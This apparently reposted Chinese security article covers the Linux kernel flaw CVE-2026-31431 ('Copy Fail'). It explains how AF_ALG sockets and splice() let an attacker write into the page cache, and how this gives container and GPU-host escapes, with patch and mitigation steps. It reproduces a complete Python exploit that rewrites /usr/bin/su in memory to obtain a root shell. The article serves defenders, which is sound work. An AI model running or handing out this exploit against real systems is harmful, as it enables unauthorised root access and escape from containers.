当前位置:首页>Linux>Linux“核弹级”0day提权漏洞(CVE-2026-31431):一个Python脚本即可提权至root,容器环境也遭殃!

Linux“核弹级”0day提权漏洞(CVE-2026-31431):一个Python脚本即可提权至root,容器环境也遭殃!

  • 2026-10-11 08:26:37
Linux“核弹级”0day提权漏洞(CVE-2026-31431):一个Python脚本即可提权至root,容器环境也遭殃!

持续近十年的潜伏期,影响所有主流发行版,EXP已公开,攻击者瞬间获得root权限。

2026年4月30日,安全圈被一则消息引爆——一个编号为CVE-2026-31431的Linux内核严重漏洞被公开披露。

该漏洞被命名为 “Copy Fail” ,CVSS评分高达9.8(红队视角甚至有理由认为它不应低于7.8且影响面更广)。它潜伏在内核加密子系统algif_aead模块中长达近十年(自2017年引入),直到2026年4月29日才被修复并公开。

更令人不安的是,一个仅732字节的Python脚本就能稳定触发该漏洞,实现从普通用户到root权限的瞬间提升。从传统服务器到云原生容器环境,从CI/CD流水线到AI训练平台,几乎无一幸免。

01 漏洞速览:Linux内核几乎全线沦陷

CVE-2026-31431是一个本地提权(LPE)漏洞,但它带来的实际风险远不止于此。

  • 漏洞编号:CVE-2026-31431
  • 威胁等级:高危(CVSS评分:7.8-9.8)
  • 漏洞类型:权限提升、容器逃逸
  • 受影响组件:Linux Kernel (版本 < 6.18.22, < 6.19.12, < 7.0-rc7)
  • 公开日期:2026年4月29日
  • 利用状态:POC/EXP已公开,利用稳定
  • 影响范围:Ubuntu、Debian、CentOS、RHEL、SUSE、Arch Linux、Alibaba Cloud Linux、TencentOS、Amazon Linux 2023 等所有主流发行版

这意味着,无论你使用的是传统的物理机、云服务器,还是Kubernetes容器环境,只要运行着受影响版本的内核,就等同于将系统的大门向任何低权限用户敞开。

02 漏洞原理:一次被遗忘的标志位,一个跨越十年的“内核后门”

这个漏洞与2022年震撼业界的“Dirty Pipe”(CVE-2022-0847)属于同源漏洞,但影响更为深远。

其核心在于Linux内核的页缓存(Page Cache) 机制、splice()零拷贝系统调用和AF_ALG加密套接字接口三者的异常交互。

  1. 机制一:Page Cache

    Linux内核为了提高文件读写效率,会将最近访问的文件内容缓存在内存中(即Page Cache)。更关键的是,同一个文件(inode)无论被多少个进程打开,都共享同一份Page Cache。 这是漏洞得以放大的基础。

  2. 机制二:splice()零拷贝

    splice()允许在两个文件描述符之间直接搬运数据,全程在内核态完成,不经过用户态缓冲。[citation:1]

  3. 机制三:AF_ALG

    AF_ALG是内核提供的加密接口,允许用户态程序通过Socket API直接调用内核中的加密算法(如AES、SHA256)。

漏洞的根源在于:

当一个文件通过 splice() -> pipe -> AF_ALG socket 这条路径传输数据时,AF_ALG子系统在处理数据的加密/解密操作后,会试图将结果写回pipe buffer。然而,AF_ALG的splice接收路径“忘记”清除pipe buffer上的 PIPE_BUF_FLAG_CAN_MERGE 标志。

这个标志的本意是告诉内核“可以安全地向这个pipe buffer页面写入数据”。但在共享Page Cache的场景下,这个标志就变成了一个致命的许可——加密操作的结果被直接写入了源文件的Page Cache页面,完全绕过了所有文件权限检查(包括只读文件)!

攻击者正是利用这一点,可以对/usr/bin/su等只读的、具有SUID权限的二进制文件的内存映像进行任意4字节的篡改。通过多次、精心的篡改,可以“抠掉”su等程序的密码验证逻辑。随后,任何普通用户执行su命令,无需密码,便能立刻获得一个root shell。

03 攻击全景:从单体提权到容器逃逸与云环境横扫

漏洞披露后仅一天,安全研究员们便迅速扩展了其攻击面。这绝不仅仅是一个本地提权漏洞。

容器场景:突破隔离,一击致命

在Kubernetes这类容器环境中,容器镜像通过OverlayFS分层构建。

其中,只读层(Lower Layer)的Page Cache在所有使用该镜像层的容器之间是共享的。 [citation:1]

这带来了灾难性的后果:容器逃逸变得轻而易举。

攻击者只需要创建一个低权限的Pod(甚至不需要特权容器),就可以完成以下攻击链:

  1. 污染共享层:在容器A中执行漏洞利用脚本,篡改来自于镜像只读层的某个可执行文件或库文件(如/usr/bin/python3或/lib/x86_64-linux-gnu/libc.so.6)的Page Cache。
  2. 等待触发:静静地等待同节点上的其他容器(容器B、C...)调用这个已被污染的程序。
  3. 成功逃逸:当容器B为了执行健康检查或运行应用而调用python3时,其进程将执行已被篡改的恶意代码,在容器B的上下文中获得代码执行权限。

如果被污染的容器具有更高的权限(如挂载了宿主机目录,或运行了DaemonSet),攻击者就能直接获得宿主机权限,进而对整个集群进行横向渗透。[citation:1]

AI/GPGPU 环境:直捣宿主机核心

在现代AI训练平台中,为了在容器内使用NVIDIA GPU,通常会将宿主机的nvidia-smi等驱动相关二进制文件和.so库文件通过bind mount的方式挂载到容器内。[citation:1]

这意味着,容器内的inode与宿主机的inode是完全一致的。

因此,一旦容器内的低权限用户利用此漏洞污染了nvidia-smi或其依赖的.so文件,那么宿主机下一次执行nvidia-smi时,就会在宿主机内核态执行恶意代码,直接实现从容器到宿主机的权限提升。

readOnly: true 的挂载设置对此漏洞完全无效,因为它绕过了文件系统层的所有检查。

04 利用方式:一个Python脚本即可提权至root

#!/usr/bin/env python3import os as g,zlib,socket as sdefd(x):return bytes.fromhex(x)defc(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)try:u.recv(8+t)except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

05 应急响应:立即行动,刻不容缓

处置优先级:高

系统一旦被非信任用户触及(如任何SaaS平台、共享开发环境、CI Runner等),就处在极大风险之中。

方案一:立即升级内核(根治方案)

将内核升级到包含修复补丁的版本。

  • 检查修复Commit:a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5[citation:2]
  • 主流发行版操作:
# Ubuntu / Debiansudo apt update && sudo apt upgrade linux-image-$(uname -r)# RHEL / CentOS / Rocky / Almasudo dnf update kernel# Amazon Linuxsudo yum update kernel# SUSEsudo zypper update kernel-default

升级后请重启系统,使新内核生效。

方案二:临时缓解与自查(无法立即升级时)

1. 自查脚本

运行以下命令,快速判断系统是否可能存在风险:

# 查看内核版本uname -r# 检查是否能创建AF_ALG socket(如果输出'Vulnerable'则非常危险)python3 -c "import socket; s=socket.socket(38,5); print('Vulnerable' if s else 'Not')" 2>/dev/null# 检查AF_ALG模块是否加载lsmod | grep algif

2. 临时禁用漏洞模块

这是目前最有效的临时缓解措施,副作用极小。

# 立即卸载模块(当前会话生效)sudo rmmod algif_aead# 永久禁用(重启后生效)echo"install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf

3. 通过Seccomp在容器层面阻断

对于Kubernetes环境,可以在Pod的securityContext中添加Seccomp配置,禁止容器内创建AF_ALG套接字(系统调用号38)。[citation:1]

yaml

securityContext:  seccompProfile:type: Localhost    localhostProfile: profiles/block_af_alg.json

对应的profile文件内容可参考各大云厂商或安全厂商的建议。

方案三:清除Page Cache(治标不治本)

echo 3 > /proc/sys/vm/drop_caches

警告:此操作会清空整个Page Cache,在生产环境可能造成严重的IO抖动和性能骤降,仅建议在极端情况下作为临时止损手段。漏洞本身并未修复,重启或文件再次被读入缓存后,系统依然危险。

总结

CVE-2026-31431是继“脏牛”(Dirty Cow)和“脏管道”(Dirty Pipe)之后,Linux内核安全领域面临的又一次严峻考验。其长达近十年的潜伏期、覆盖所有主流发行版、以及极低的利用门槛(一个Python脚本),使其成为名副其实的“核弹级”漏洞。

对于每一个依赖Linux系统的组织和个人而言,现在就是行动的时刻。

不要抱有侥幸心理,不要等待“合适”的维护窗口。 立即排查、评估风险、升级内核或禁用受影响模块。 在容器和云原生时代,一个低权限用户的入口,足以演变为对整个基础设施的全面控制。


参考资料:

https://copy.fail/ https://github.com/theori-io/copy-fail-CVE-2026-31431 https://mp.weixin.qq.com/s/5Q_2Gs8PkH67gYsnMxP_dA https://mp.weixin.qq.com/s/7ImIAtZFMl-PWJG-wFgaAg https://mp.weixin.qq.com/s/UZyuHE2EQfLvPody8uQwcw https://mp.weixin.qq.com/s/XgDQZlrOETG-KZ3JqyWuSg

最新文章

随机文章